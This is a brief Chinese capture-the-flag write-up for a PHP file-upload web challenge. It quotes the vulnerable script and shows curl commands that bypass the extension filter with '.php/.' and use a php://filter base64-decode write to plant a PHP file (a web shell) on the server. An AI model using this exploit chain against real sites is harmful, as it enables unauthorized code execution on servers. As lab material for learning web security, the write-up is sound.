# WTF * site : http://eofqual.ais3.org:9487/ ```php= <?php if (!empty($_FILES['file'])) { $filename = $_FILES['file']['tmp_name']; $timestamp = date('Y-m-d-H:i:s'); $log_file = $_POST['log'] ?? "$timestamp.log"; $result = shell_exec(sprintf("file -- %s", escapeshellarg($filename))); $result = strchr($result, ":", 0); $result = htmlentities($result); $extension = pathinfo($log_file, PATHINFO_EXTENSION); if (strtolower(substr($extension, 0, 2)) !== "ph") { file_put_contents($log_file, $timestamp . $result); } else { echo "NO!"; } echo 'File Type<strong>'.$result.'</strong>'; } ?> ``` * ```$log_file = $_POST['log'] ?? "$timestamp.log";``` 所以 log_file 的檔名可控 ```bash curl -F "file=@/mnt/d/school/eductf/final/wtf.file" -F "log=[control filename]" eofqual.ais3.org:9487 ``` * ```strtolower(substr($extension, 0, 2)) !== "ph"``` 會擋 ph 開頭的檔名,但是 pathinfo 可以簡單的用 ```.php/.``` 繞過,或是用 .inc 也可以 ([file upload bypass](https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass)) * 看了 [這篇](https://xz.aliyun.com/t/7081) 知道說 ```file -- ``` 其實是可以利用的,像是直接去改 gz 檔案裡面的內容可以在 ```file --``` 的時候顯示出來,所以就直接把 shellcode 塞在裡面  * 雖然可以讓 shellcode 出現了,但是被 php 開頭的 < 會被 htmlentities 擋住,不過因為檔名可控,就可以利用 php filter,所以先把 shellcode base64 decode 以後塞進去  * 要注意會有 padding 問題,所以要前面要塞點東西讓他能正常 base64 decode,還有最後的 == 要改掉才不會出錯 ```bash curl -F "file=@/mnt/d/school/eductf/final/wtf.gz" -F "log=php://filter/write=convert.base64-decode/resource=ok.php/." eofqual.ai ```  * FLAG{𖥂𖢐𖥑𖣠𖤐𖤐𖤐𖣠𖡨𖥶𖦂} ###### tags: `solved`
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.